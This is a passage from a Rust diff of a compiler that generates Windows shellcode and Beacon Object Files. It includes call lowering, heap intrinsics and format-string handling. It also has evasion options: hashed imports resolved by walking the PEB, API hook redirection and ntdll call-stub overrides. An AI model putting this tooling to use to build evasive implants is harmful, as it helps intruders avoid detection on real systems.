Result { + match (&mem.base, &mem.index) { + // [reg] / [reg + disp] + (Some(AsmMemBase::Reg(base)), None) => { + if *base == Reg64::Rbp { + Ok(ResolvedMem::RbpDisp(mem.disp)) + } else { + Ok(ResolvedMem::BaseDisp { base: *base, disp: mem.disp }) + } + } + // [reg + idx*scale + disp] + (Some(AsmMemBase::Reg(base)), Some((idx, scale))) => { + Ok(ResolvedMem::BaseIdx { base: *base, idx: *idx, scale: *scale, disp: mem.disp }) + } + // [%name + disp] - must be a local or global, NOT a function. + (Some(AsmMemBase::Sym(name)), None) => { + if let Some(&off) = self.locals.get(name) { + Ok(ResolvedMem::RbpDisp(off.wrapping_add(mem.disp))) + } else if let Some(label) = self.global_label(name) { + if mem.disp != 0 { + return Err(format!( + "asm: `[%{name} + {}]` - non-zero disp on a global isn't supported yet", + mem.disp + )); + } + Ok(ResolvedMem::RipData(label)) + } else { + Err(format!("asm: `[%{name}]` - `{name}` is not a local or global")) + } + } + (Some(AsmMemBase::Sym(_)), Some(_)) => { + Err("asm: `[%name + reg*scale]` - combining %sym with an index isn't supported. \ + `lea` the address into a register first.".into()) + } + (None, Some(_)) => { + Err("asm: `[idx*scale]` without a base register isn't supported".into()) + } + (None, None) => { + // Disp-only is only meaningful with a seg override. + if mem.seg.is_none() { + return Err("asm: empty `[]` memory operand".into()); + } + Ok(ResolvedMem::SegAbs { disp: mem.disp }) + } + } + } + + /// Find the data-section label for a top-level static, by name. + /// Returns None if no static named name exists. + fn global_label(&self, name: &str) -> Option { + let idx = *self.globals_idx.get(name)?; + Some(self.globals[idx].label.clone()) + } + + fn lookup_hook(&self, target: &str) -> Option { + let hook_fn = self.hooks.map.get(target)?; + if self.current_fn_hook.no_hook_all { return None; } + if self.current_fn_hook.no_hook.contains(target) { return None; } + if self.current_fn_hook.is_hook_for.as_deref() == Some(target) { + return None; + } + Some(hook_fn.clone()) + } + + fn gen_call(&mut self, ns: &str, fname: &str, args: &[Expr]) -> Result<(), String> { + if ns == "mem" { + return self.gen_mem_call(fname, args); + } + if ns == "gc" { + return Err(format!( + "intrinsic `gc.{fname}` was renamed - use `mem.{fname}` \ + (gc.alloc to mem.alloc). The memory primitives now live \ + under `mem.*` (alloc, set, copy, zero, cmp)." + )); + } + if ns == "shared" { + return self.gen_shared_call(fname, args); + } + if ns == "str" { + return self.gen_str_call(fname, args); + } + + let struct_ret_ty = if ns.is_empty() { + self.fn_ret_types.get(fname) + .filter(|t| self.struct_layouts.contains_key(t.as_str())) + .cloned() + } else { + None + }; + let mut hidden_buf: Option<(String, i32)> = None; + let synth_args; + let args_for_lowering: &[Expr] = if let Some(ref ret_ty) = struct_ret_ty { + let size = self.struct_layouts[ret_ty].size; + let name = format!("__call_ret_{}", self.label_counter); + self.label_counter += 1; + let off = self.alloc_local_sized(&name, size); + hidden_buf = Some((name.clone(), off)); + // The hidden first arg is the address of the just-allocated + // slot. Express it as a &__call_ret_N AST node so it flows + // through the standard gen_call_args path unchanged. + let mut v: Vec = Vec::with_capacity(args.len() + 1); + v.push(Expr::Unary { + op: "&".into(), + operand: Box::new(Expr::Var(name)), + }); + // Mark the synthetic local in scope so &name resolves. + self.local_types.insert( + hidden_buf.as_ref().unwrap().0.clone(), + ret_ty.clone(), + ); + v.extend_from_slice(args); + synth_args = v; + &synth_args + } else { + args + }; + + // Generic call lowering. Returns the number of bytes pre-allocated + // on the stack that need to be freed after the call returns. + let cleanup = self.gen_call_args(args_for_lowering)?; + + // Emit the call instruction itself. Path is identical for ≤4-arg + // and >4-arg flavours; only arg lowering differs. + if ns.is_empty() { + if let Some(&off) = self.locals.get(fname) { + self.enc.mov_r64_rbp_disp(Reg64::Rax, off); + self.enc.call_r64(Reg64::Rax); + } else if let Some(&idx) = self.globals_idx.get(fname) { + let label = self.globals[idx].label.clone(); + self.enc.mov_r64_data(Reg64::Rax, &label); + self.enc.call_r64(Reg64::Rax); + } else if self.extern_fns.contains(fname) { + match self.kind { + BuildKind::Standard => { + return Err(format!( + "`{fname}` is declared `extern` (typically a Beacon \ + API symbol). It can only be called when compiled \ + with `--type=bof` (or `--type=coff`). For standard \ + shellcode, use the Win32 namespace syntax (e.g. \ + `Kernel32.SomeFunction(...)`)." + )); + } + BuildKind::Bof | BuildKind::Coff => { + if let Some(hook_fn) = self.lookup_hook(fname) { + self.enc.call_label(&hook_fn); + } else { + let imp = format!("__imp_{fname}"); + self.enc.call_extern(&imp); + } + } + } + } else { + self.enc.call_label(fname); + } + } else if INTRINSIC_NAMESPACES.contains(&ns) { + // Reached here only if an intrinsic namespace exposed an unknown + // function name. Surface a precise error so users don't think + // they're calling into a DLL named e.g. "mem". + return Err(format!("unknown intrinsic: {ns}.{fname}")); + } else if self.kind.is_object() { + let lib_upper = ns.trim_end_matches(".dll").to_ascii_uppercase(); + let target_sym = format!("{lib_upper}${fname}"); + // Hook redirect - same machinery as for externs, but + // keyed on the LIB$Func form (matches what the user + // writes in [Hook]). + if let Some(hook_fn) = self.lookup_hook(&target_sym) { + self.enc.call_label(&hook_fn); + } else if self.opsec.hashed_imports && !is_beacon_api(fname) { + let dll = normalize_dll_name(ns); + let slot = resolver::slot_label(&dll, fname); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.clone(), + func: fname.to_string(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + self.enc.call_indirect_data(&slot); + } else { + let sym = format!("__imp_{target_sym}"); + self.enc.call_extern(&sym); + } + } else { + let dll = normalize_dll_name(ns); + let slot = resolver::slot_label(&dll, fname); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.clone(), + func: fname.to_string(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + if dll == "ntdll.dll" { + if let Some(stub) = self.overrides.ntcall.clone() { + self.enc.mov_r64_data(Reg64::Rax, &slot); + self.enc.call_label(&stub); + } else { + self.enc.call_indirect_data(&slot); + } + } else { + self.enc.call_indirect_data(&slot); + } + } + + // Stack cleanup for the large-arg path. + if cleanup > 0 { + self.enc.add_r64_imm32(Reg64::Rsp, cleanup); + } + + if let Some((_name, off)) = hidden_buf { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + } + Ok(()) + } + + fn gen_call_args(&mut self, args: &[Expr]) -> Result { + let arg_regs = [Reg64::Rcx, Reg64::Rdx, Reg64::R8, Reg64::R9]; + let n = args.len(); + let stack_args = n.saturating_sub(4); + let reg_args = n.min(4); + let raw = 32 + stack_args * 8 + reg_args * 8; + let total = ((raw + 15) / 16) * 16; + + self.enc.sub_r64_imm32(Reg64::Rsp, total as i32); + let temp_base = 32 + (stack_args as i32) * 8; + + for (i, a) in args.iter().enumerate() { + self.gen_expr(a)?; + let offset = if i < 4 { + temp_base + (i as i32) * 8 + } else { + 32 + ((i - 4) as i32) * 8 + }; + self.enc.mov_r64disp_r64(Reg64::Rsp, offset, Reg64::Rax); + } + + // Load the in-register args from their temp slots. + for (i, reg) in arg_regs.iter().take(reg_args).enumerate() { + let offset = temp_base + (i as i32) * 8; + self.enc.mov_r64_r64disp(*reg, Reg64::Rsp, offset); + } + Ok(total as i32) + } + + fn type_size(&self, ty: &str) -> usize { + if is_pointer_type(ty) { return 8; } + if let Some((elem, n)) = parse_array_type(ty) { + return self.type_size(elem) * n; + } + match ty { + "bool" | "int" | "str" | "wstr" => 8, + "i8" | "u8" => 1, + "i16" | "u16" => 2, + "i32" | "u32" => 4, + "i64" | "u64" => 8, + "void" => 1, + _ => self.struct_layouts.get(ty).map(|l| l.size).unwrap_or(8), + } + } + + fn type_align(&self, ty: &str) -> usize { + if let Some(l) = self.struct_layouts.get(ty) { return l.align; } + if let Some((elem, _)) = parse_array_type(ty) { + return self.type_align(elem); + } + let s = self.type_size(ty); + if s > 8 { 8 } else { s } + } + + fn is_array_type(ty: &str) -> bool { + parse_array_type(ty).is_some() + } + + /// Element type of an array (T[N] to T) or pointee of a pointer + /// (T* to T). Returns None if ty is neither - that's an + /// indexing error at the use site. + fn element_type(ty: &str) -> Option { + if let Some((elem, _)) = parse_array_type(ty) { + return Some(elem.to_string()); + } + pointee(ty).map(String::from) + } + + fn size_of_type(&self, ty: &str) -> usize { + if let Some(layout) = self.struct_layouts.get(ty) { return layout.size; } + if Self::is_array_type(ty) { return self.type_size(ty); } + 8 + } + + fn emit_static_initializers(&mut self) -> Result<(), String> { + for i in 0..self.globals.len() { + let init = self.globals[i].init.clone(); + let label = self.globals[i].label.clone(); + let ty = self.globals[i].ty.clone(); + if let Some(expr) = init { + if self.struct_layouts.contains_key(&ty) || Self::is_array_type(&ty) { + let kind = if Self::is_array_type(&ty) { "array" } else { "struct" }; + return Err(format!( + "static of {kind} type `{ty}` cannot have an initialiser in V1 \ + (assign each element/field at main entry instead)" + )); + } + self.gen_expr(&expr)?; + self.enc.mov_data_r64(&label, Reg64::Rax); + } + } + Ok(()) + } + + fn resolve_field(&self, base: &Expr, field: &str) -> Result<(i32, String, usize), String> { + let ty = self.struct_type_of(base)?; + let key = ty.trim_end_matches('*'); + let layout = self.struct_layouts.get(key) + .ok_or_else(|| format!("type `{ty}` is not a struct"))?; + let f = layout.fields.get(field) + .ok_or_else(|| format!("struct `{ty}` has no field `{field}`"))?; + Ok((f.offset, f.ty.clone(), f.size)) + } + + fn struct_type_of(&self, base: &Expr) -> Result { + match base { + Expr::Var(name) => { + if let Some(t) = self.local_types.get(name) { return Ok(t.clone()); } + let idx = self.globals_idx.get(name) + .ok_or_else(|| format!("undefined variable: {name}"))?; + Ok(self.globals[*idx].ty.clone()) + } + Expr::Field { base: inner_base, field } => { + let (_, inner_ty, _) = self.resolve_field(inner_base, field)?; + Ok(inner_ty) + } + Expr::Cast { ty, .. } => Ok(ty.clone()), + Expr::Unary { op, operand } if op == "*" => { + // *p's type is the pointee of p's type. + let t = self.expr_type(operand); + Ok(pointee(&t).map(String::from).unwrap_or(t)) + } + _ => Err( + "field access requires a struct global, struct local, struct cast, \ + deref of a struct pointer, or a nested field thereof".into() + ), + } + } + + fn expr_type(&self, e: &Expr) -> String { + match e { + Expr::Int(_) => "int".into(), + Expr::Bool(_) => "bool".into(), + Expr::Str(_) => "str".into(), + Expr::Var(name) => { + if let Some(t) = self.local_types.get(name) { return t.clone(); } + if let Some(&idx) = self.globals_idx.get(name) { + return self.globals[idx].ty.clone(); + } + "int".into() + } + Expr::Cast { ty, .. } => ty.clone(), + Expr::Field { base, field } => self + .resolve_field(base, field) + .map(|(_, t, _)| t) + .unwrap_or_else(|_| "int".into()), + Expr::Unary { op, operand } if op == "*" => { + let t = self.expr_type(operand); + pointee(&t).map(String::from).unwrap_or(t) + } + Expr::Unary { op, operand } if op == "&" => { + format!("{}*", self.expr_type(operand)) + } + Expr::Index { base, .. } => { + // base[i] has the element type of base (T* to T, T[N] to T). + // Falls back to int if we can't infer, mirroring deref. + let t = self.expr_type(base); + Self::element_type(&t).unwrap_or_else(|| "int".into()) + } + Expr::SizeOf { .. } => "u64".into(), + Expr::StructLit { ty, .. } => ty.clone(), + _ => "int".into(), + } + } + + fn emit_load_width(&mut self, pointee_ty: &str, base: Reg64) { + match self.type_size(pointee_ty) { + 1 => self.enc.movzx_r64_byte_r64disp(Reg64::Rax, base, 0), + 2 => self.enc.movzx_r64_word_r64disp(Reg64::Rax, base, 0), + 4 => self.enc.mov_r32_r64disp(Reg64::Rax, base, 0), + _ => self.enc.mov_r64_r64disp(Reg64::Rax, base, 0), + } + } + + /// Mirror of [emit_load_width] for stores. Writes the low N bytes of + /// rax to [base + 0], where N comes from type_size. + fn emit_store_width(&mut self, pointee_ty: &str, base: Reg64) { + match self.type_size(pointee_ty) { + 1 => self.enc.mov_byte_r64disp_r8(base, 0, Reg64::Rax), + 2 => self.enc.mov_word_r64disp_r16(base, 0, Reg64::Rax), + 4 => self.enc.mov_dword_r64disp_r32(base, 0, Reg64::Rax), + _ => self.enc.mov_r64disp_r64(base, 0, Reg64::Rax), + } + } + + fn gen_addr(&mut self, base: &Expr) -> Result<(), String> { + match base { + Expr::Var(name) => { + if let Some(&off) = self.locals.get(name) { + let ty = self.local_types.get(name).cloned().unwrap_or_default(); + if self.struct_layouts.contains_key(&ty) { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + return Ok(()); + } + if is_pointer_type(&ty) { + self.enc.mov_r64_rbp_disp(Reg64::Rax, off); + return Ok(()); + } + return Err(format!( + "cannot use non-pointer scalar local `{name}` (type `{ty}`) \ + as a struct base" + )); + } + if let Some(&idx) = self.globals_idx.get(name) { + let g = &self.globals[idx]; + if self.struct_layouts.contains_key(&g.ty) { + self.enc.lea_r64_data(Reg64::Rax, &g.label); + return Ok(()); + } + if is_pointer_type(&g.ty) { + self.enc.mov_r64_data(Reg64::Rax, &g.label); + return Ok(()); + } + return Err(format!( + "cannot use non-pointer scalar global `{name}` (type `{}`) \ + as a struct base", + g.ty + )); + } + Err(format!("undefined variable: {name}")) + } + Expr::Field { base: inner_base, field } => { + let (off, _, _) = self.resolve_field(inner_base, field)?; + self.gen_addr(inner_base)?; + if off != 0 { + self.enc.add_r64_imm32(Reg64::Rax, off); + } + Ok(()) + } + Expr::Cast { ty, expr } if self.struct_layouts.contains_key(ty.trim_end_matches('*')) => { + self.gen_expr(expr) + } + Expr::Unary { op, operand } if op == "*" => { + // (*p).field - p's value is already the struct base. + self.gen_expr(operand) + } + _ => Err( + "address-of supported only on globals, struct/pointer locals, \ + struct casts, deref'd pointers, or fields thereof".into() + ), + } + } + + fn gen_addr_of(&mut self, operand: &Expr) -> Result<(), String> { + match operand { + Expr::Var(name) => { + if let Some(&off) = self.locals.get(name) { + self.enc.lea_r64_r64disp(Reg64::Rax, Reg64::Rbp, off); + return Ok(()); + } + if let Some(&idx) = self.globals_idx.get(name) { + let label = self.globals[idx].label.clone(); + self.enc.lea_r64_data(Reg64::Rax, &label); + return Ok(()); + } + Err(format!("cannot take address of `{name}` - no such variable")) + } + Expr::Field { base, field } => { + let (off, _, _) = self.resolve_field(base, field)?; + self.gen_addr(base)?; + if off != 0 { + self.enc.add_r64_imm32(Reg64::Rax, off); + } + Ok(()) + } + Expr::Unary { op, operand: inner } if op == "*" => { + // &*p == p - the deref cancels the address-of. + self.gen_expr(inner) + } + _ => Err("`&` requires a variable, field, or deref expression".into()), + } + } + + fn gen_str_call(&mut self, fname: &str, args: &[Expr]) -> Result<(), String> { + match fname { + "format" => self.gen_str_format(args), + _ => Err(format!("unknown intrinsic: str.{fname}")), + } + } + + fn gen_str_format(&mut self, args: &[Expr]) -> Result<(), String> { + let template = match args.first() { + Some(Expr::Str(s)) => s.clone(), + _ => return Err( + "str.format: first argument must be a string literal template".into() + ), + }; + let user_args = &args[1..]; + + let printf_fmt = self.translate_format_template(&template, user_args)?; + + let n = self.label_counter; + self.label_counter += 1; + let fmt_label = format!("__fmt_tpl_{n}"); + let buf_label = format!("__fmt_buf_{n}"); + self.enc.add_string(&fmt_label, &printf_fmt); + self.enc.add_bss(&buf_label, FMT_BUF_SIZE); + + // wsprintfA's signature is (buf, fmt, ...). Use the standard + // arg-lowering path with two placeholder leading args; overwrite + // rcx/rdx with the real addresses after gen_call_args is done. + let mut call_args: Vec = vec![Expr::Int(0), Expr::Int(0)]; + call_args.extend_from_slice(user_args); + let cleanup = self.gen_call_args(&call_args)?; + self.enc.lea_r64_data(Reg64::Rcx, &buf_label); + self.enc.lea_r64_data(Reg64::Rdx, &fmt_label); + + if self.kind.is_object() { + if self.opsec.hashed_imports { + // Same routing as the BOF-mode Win32 call path: + // drop the __imp_USER32$wsprintfA external and + // resolve via the standard PEB-walking resolver. + let dll = "user32.dll".to_string(); + let func = "wsprintfA".to_string(); + let slot = resolver::slot_label(&dll, &func); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.clone(), + func: func.clone(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + self.enc.call_indirect_data(&slot); + } else { + self.enc.call_extern("__imp_USER32$wsprintfA"); + } + } else { + let dll = "user32.dll".to_string(); + let func = "wsprintfA".to_string(); + let slot = resolver::slot_label(&dll, &func); + if !self.imports.iter().any(|i| i.slot == slot) { + self.imports.push(Import { + dll: dll.clone(), + func: func.clone(), + slot: slot.clone(), + }); + self.enc.add_bss(&slot, 8); + } + self.enc.call_indirect_data(&slot); + } + if cleanup > 0 { + self.enc.add_r64_imm32(Reg64::Rsp, cleanup); + } + + // wsprintfA returns the number of chars written in rax; the + // caller doesn't want that - they want the buffer pointer. + self.enc.lea_r64_data(Reg64::Rax, &buf_label); + Ok(()) + } + + fn translate_format_template( + &self, + template: &str, + user_args: &[Expr], + ) -> Result { + let mut out = String::new(); + let mut iter = template.chars().peekable(); + let mut arg_idx = 0usize; + while let Some(c) = iter.next() { + match c { + '{' if iter.peek() == Some(&'{') => { iter.next(); out.push('{'); } + '}' if iter.peek() == Some(&'}') => { iter.next(); out.push('}'); } + '{' => { + let mut spec = String::new(); + let mut closed = false; + while let Some(&c) = iter.peek() { + if c == '}' { iter.next(); closed = true; break; } + spec.push(c); + iter.next(); + } + if !closed { + return Err( + "str.format: unterminated `{` in template (use `{{` for a literal brace)".into() + ); + } + if arg_idx >= user_args.len() { + return Err(format!( + "str.format: template references argument {} but only {} were given", + arg_idx, user_args.len() + )); + } + let ty = self.expr_type(&user_args[arg_idx]); + out.push_str(&printf_spec_for(&spec, &ty)?); + arg_idx += 1; + } + '}' => return Err( + "str.format: stray `}` in template - use `}}` to escape a literal `}`".into() + ), + // wsprintfA treats % as the start of a format specifier; + // double any literal % so it renders verbatim. + '%' => out.push_str("%%"), + c => out.push(c), + } + } + if arg_idx != user_args.len() { + return Err(format!( + "str.format: template has {arg_idx} placeholders but {} arguments were provided", + user_args.len() + )); + } + Ok(out) + } + + fn gen_mem_call(&mut self, fname: &str, args: &[Expr]) -> Result<(), String> { + if fname == "alloc" { + if args.len() != 1 { return Err("mem.alloc takes exactly 1 arg".into()); } + self.gen_expr(&args[0])?; + if self.kind.is_object() { + self.gen_bof_heap_alloc()?; + } else if matches!(self.gc_mode, GcMode::Manual) { + self.gen_standard_heap_alloc()?; + } else { + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + macros::emit_gc_alloc_call(&mut self.enc); + } + return Ok(()); + } + if fname == "free" { + if args.len() != 1 { return Err("mem.free takes exactly 1 arg".into()); } + let manual_world = self.kind.is_object() + || matches!(self.gc_mode, GcMode::Manual); + if !manual_world { + return Err(format!( + "mem.free is only valid in BOF mode or with `--gc=manual` \ + (current --gc=auto/on uses the embedded GC which doesn't \ + need explicit frees). Either drop the call or rebuild \ + with `--gc=manual`." + )); + } + self.gen_expr(&args[0])?; + self.gen_heap_free()?; + return Ok(()); + } + // mem.collect - explicit GC trigger. Useful for tests and for + // operators that want a deterministic pause point (e.g. before + // sleep mask). Returns 0; pulls in the GC runtime same as alloc. + if fname == "collect" { + if !args.is_empty() { return Err("mem.collect takes no args".into()); } + if self.kind.is_object() { + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + } else { + self.enc.call_label("__gc_collect"); + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + } + return Ok(()); + } + + let expected: usize = match fname { + "zero" => 2, + "set" | "copy" | "cmp" => 3, + _ => return Err(format!("unknown intrinsic: mem.{fname}")), + }; + if args.len() != expected { + return Err(format!("mem.{fname} takes exactly {expected} args")); + } + for a in args { + self.gen_expr(a)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + } + let arg_regs = [Reg64::Rcx, Reg64::Rdx, Reg64::R8, Reg64::R9]; + for i in (0..args.len()).rev() { + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(arg_regs[i]); + } + + match fname { + "set" => { + // mem.set -> dst + self.enc.push_r64(Reg64::Rdi); // save non-volatile + self.enc.mov_r64_r64(Reg64::R9, Reg64::Rcx); // preserve dst for return + self.enc.mov_r64_r64(Reg64::Rdi, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rax, Reg64::Rdx); // al = byte + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::R8); // rcx = n + self.enc.cld(); + self.enc.rep_stosb(); + self.enc.pop_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rax, Reg64::R9); + } + "zero" => { + // mem.zero -> dst + self.enc.push_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::R9, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rdi, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rdx); + self.enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + self.enc.cld(); + self.enc.rep_stosb(); + self.enc.pop_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rax, Reg64::R9); + } + "copy" => { + // mem.copy -> dst + self.enc.push_r64(Reg64::Rdi); + self.enc.push_r64(Reg64::Rsi); + self.enc.mov_r64_r64(Reg64::R9, Reg64::Rcx); // preserve dst for return + self.enc.mov_r64_r64(Reg64::Rdi, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rsi, Reg64::Rdx); + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::R8); + self.enc.cld(); + self.enc.rep_movsb(); + self.enc.pop_r64(Reg64::Rsi); + self.enc.pop_r64(Reg64::Rdi); + self.enc.mov_r64_r64(Reg64::Rax, Reg64::R9); + } + "cmp" => { + // mem.cmp -> 0 if equal else 1 + self.enc.push_r64(Reg64::Rdi); + self.enc.push_r64(Reg64::Rsi); + self.enc.mov_r64_r64(Reg64::Rsi, Reg64::Rcx); + self.enc.mov_r64_r64(Reg64::Rdi, Reg64::Rdx); + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::R8); + self.enc.test_r64_r64(Reg64::Rcx, Reg64::Rcx); + self.enc.cld(); + self.enc.repe_cmpsb(); + // CRITICAL: do NOT clobber ZF before reading it with setnz. + // pop_r64 leaves flags alone, but xor / mov_r64_imm do not. + // Read ZF first into al, THEN zero-extend. + self.enc.pop_r64(Reg64::Rsi); + self.enc.pop_r64(Reg64::Rdi); + // setnz al = 0F 95 C0 - al = 0 if equal (ZF=1), 1 if mismatch + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0x95); + self.enc.emit_raw(0xC0); + // movzx eax, al = 0F B6 C0 - implicit zero-extension to rax. + // The 32-bit form is 3 bytes (no REX) vs the 4-byte 64-bit + // form 48 0F B6 C0; identical result. + self.enc.emit_raw(0x0F); + self.enc.emit_raw(0xB6); + self.enc.emit_raw(0xC0); + } + _ => unreachable!(), + } + Ok(()) + } + + fn gen_bof_heap_alloc(&mut self) -> Result<(), String> { + // Build via the unified Win32 import helper so this path + // works under both BOF mode (external __imp_*) and + // standard mode with --gc=manual (resolver-filled slot). + let get_heap = self.ensure_win32_import("kernel32.dll", "GetProcessHeap"); + let heap_alloc = self.ensure_win32_import("kernel32.dll", "HeapAlloc"); + + self.enc.push_r64(Reg64::R12); + self.enc.mov_r64_r64(Reg64::R12, Reg64::Rax); + + self.enc.sub_r64_imm32(Reg64::Rsp, 0x28); + + // rax = GetProcessHeap - zero-arg, returns HANDLE in rax. + self.emit_win32_call(&get_heap); + + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.mov_r64_imm64(Reg64::Rdx, 0x8); + self.enc.mov_r64_r64(Reg64::R8, Reg64::R12); + + self.emit_win32_call(&heap_alloc); + + // Tear down. rsp += 0x28 reverses the shadow-space sub; pop r12 + // restores the caller's saved value AND realigns rsp. + self.enc.add_r64_imm32(Reg64::Rsp, 0x28); + self.enc.pop_r64(Reg64::R12); + + // rax = allocated pointer (or NULL on OOM). Match the GC's + // behaviour: caller checks rax == 0 for failure. + Ok(()) + } + + fn gen_standard_heap_alloc(&mut self) -> Result<(), String> { + // The unified helper picks the right path. In standard mode + // it always returns Slot since there's no Beacon + // loader to fill __imp_* externals. + self.gen_bof_heap_alloc() + } + + fn gen_heap_free(&mut self) -> Result<(), String> { + let get_heap = self.ensure_win32_import("kernel32.dll", "GetProcessHeap"); + let heap_free = self.ensure_win32_import("kernel32.dll", "HeapFree"); + + // Save the pointer (rax) into r12 across GetProcessHeap. + self.enc.push_r64(Reg64::R12); + self.enc.mov_r64_r64(Reg64::R12, Reg64::Rax); + + // 16-aligned rsp at every sub-call site (push knocked rsp to + // 8-mod-16; 0x28 brings it back to 0-mod-16). + self.enc.sub_r64_imm32(Reg64::Rsp, 0x28); + + // rax = GetProcessHeap + self.emit_win32_call(&get_heap); + + // HeapFree + self.enc.mov_r64_r64(Reg64::Rcx, Reg64::Rax); + self.enc.mov_r64_imm64(Reg64::Rdx, 0); + self.enc.mov_r64_r64(Reg64::R8, Reg64::R12); + + self.emit_win32_call(&heap_free); + + self.enc.add_r64_imm32(Reg64::Rsp, 0x28); + self.enc.pop_r64(Reg64::R12); + + // HeapFree returns BOOL (0 = failed, non-zero = success). We + // leave it in rax so callers that care can check. + Ok(()) + } + + fn gen_shared_call(&mut self, fname: &str, args: &[Expr]) -> Result<(), String> { + for a in args { + self.gen_expr(a)?; + self.enc.push_r64(Reg64::Rax); + self.enc.sub_r64_imm32(Reg64::Rsp, 8); + } + let arg_regs = [Reg64::Rcx, Reg64::Rdx, Reg64::R8, Reg64::R9]; + for i in (0..args.len()).rev() { + self.enc.add_r64_imm32(Reg64::Rsp, 8); + self.enc.pop_r64(arg_regs[i]); + } + match fname { + "get" => self.enc.call_label(shared::FN_GET), + "put" => self.enc.call_label(shared::FN_PUT), + _ => return Err(format!("unknown intrinsic: shared.{fname}")), + } + Ok(()) + } +} + +fn literal_int_value(e: &Expr) -> Option { + match e { + Expr::Int(n) => Some(*n), + Expr::Unary { op, operand } if op == "-" => { + if let Expr::Int(n) = operand.as_ref() { Some(n.wrapping_neg()) } + else { None } + } + _ => None, + } +} + +fn narrow_int_literal(ty: &str, n: i64) -> Option { + match ty { + "u8" => Some((n as u8) as i64), + "u16" => Some((n as u16) as i64), + "u32" => Some((n as u32) as i64), + "i8" => Some((n as i8) as i64), + "i16" => Some((n as i16) as i64), + "i32" => Some((n as i32) as i64), + // u64/i64/int are full-width; no narrowing needed. Skip the fold so + // the regular gen_expr path runs. + _ => None, + } +} + +fn normalize_dll_name(ns: &str) -> String { + let lower = ns.to_ascii_lowercase(); + if lower.ends_with(".dll") { lower } else { format!("{lower}.dll") } +} + +fn is_beacon_api(fname: &str) -> bool { + fname.starts_with("Beacon") +} + + +fn program_uses bool>(prog: &Program, pred: F) -> bool { + if prog.functions.iter().any(|f| block_any_expr(&f.body, &pred)) { + return true; + } + prog.statics.iter().any(|s| { + s.init.as_ref().map_or(false, |e| expr_any_subexpr(e, &pred)) + }) +} + +fn block_any_expr bool>(stmts: &[Stmt], pred: &F) -> bool { + stmts.iter().any(|s| stmt_any_expr(s, pred)) +} + +fn stmt_any_expr bool>(s: &Stmt, pred: &F) -> bool { + match s { + Stmt::Var { value, .. } => value.as_ref().map_or(false, |e| expr_any_subexpr(e, pred)), + Stmt::Expr { value: e, .. } => expr_any_subexpr(e, pred), + Stmt::Ret { value: Some(e), .. } => expr_any_subexpr(e, pred), + Stmt::Ret { value: None, .. } => false, + Stmt::If { cond, then_body, else_body } => { + expr_any_subexpr(cond, pred) + || block_any_expr(then_body, pred) + || block_any_expr(else_body, pred) + } + Stmt::While { cond, body } => expr_any_subexpr(cond, pred) || block_any_expr(body, pred), + Stmt::For { init, cond, step, body } => { + init.as_ref().map_or(false, |i| stmt_any_expr(i, pred)) + || cond.as_ref().map_or(false, |c| expr_any_subexpr(c, pred)) + || step.as_ref().map_or(false, |s| stmt_any_expr(s, pred)) + || block_any_expr(body, pred) + } + Stmt::Try { body, handler, .. } => { + block_any_expr(body, pred) || block_any_expr(handler, pred) + } + Stmt::Raise { value, .. } => expr_any_subexpr(value, pred), + Stmt::Break | Stmt::Continue => false, + Stmt::Asm(_) => false, + } +} + +fn expr_any_subexpr bool>(e: &Expr, pred: &F) -> bool { + if pred(e) { return true; } + match e { + Expr::Call { args, .. } => args.iter().any(|a| expr_any_subexpr(a, pred)), + Expr::Binary { lhs, rhs, .. } => expr_any_subexpr(lhs, pred) || expr_any_subexpr(rhs, pred), + Expr::Unary { operand, .. } => expr_any_subexpr(operand, pred), + Expr::Assign { value, .. } => expr_any_subexpr(value, pred), + Expr::Field { base, .. } => expr_any_subexpr(base, pred), + Expr::FieldAssign { base, value, .. } => { + expr_any_subexpr(base, pred) || expr_any_subexpr(value, pred) + } + Expr::DerefAssign { ptr, value } => { + expr_any_subexpr(ptr, pred) || expr_any_subexpr(value, pred) + } + Expr::Index { base, index } => { + expr_any_subexpr(base, pred) || expr_any_subexpr(index, pred) + } + Expr::IndexAssign { base, index, value } => { + expr_any_subexpr(base, pred) + || expr_any_subexpr(index, pred) + || expr_any_subexpr(value, pred) + } + Expr::Cast { expr, .. } => expr_any_subexpr(expr, pred), + Expr::SizeOf { .. } => false, + Expr::StructLit { fields, .. } => { + fields.iter().any(|(_, e)| expr_any_subexpr(e, pred)) + } + Expr::Int(_) | Expr::Str(_) | Expr::Bool(_) | Expr::Var(_) => false, + } +} + +// Per-subsystem predicates. They examine an Expr in isolation; the walker +// above takes care of recursion. + +fn is_win32_call(e: &Expr) -> bool { + if let Expr::Call { ns, fname, .. } = e { + if !ns.is_empty() && !INTRINSIC_NAMESPACES.contains(&ns.as_str()) { + return true; + } + // str.format lowers to a User32.wsprintfA call, so it + // counts as a Win32 trigger for the resolver pre-scan. + if ns == "str" && fname == "format" { + return true; + } + } + false +} + +fn is_intrinsic(e: &Expr, want_ns: &str, want_fn: &str) 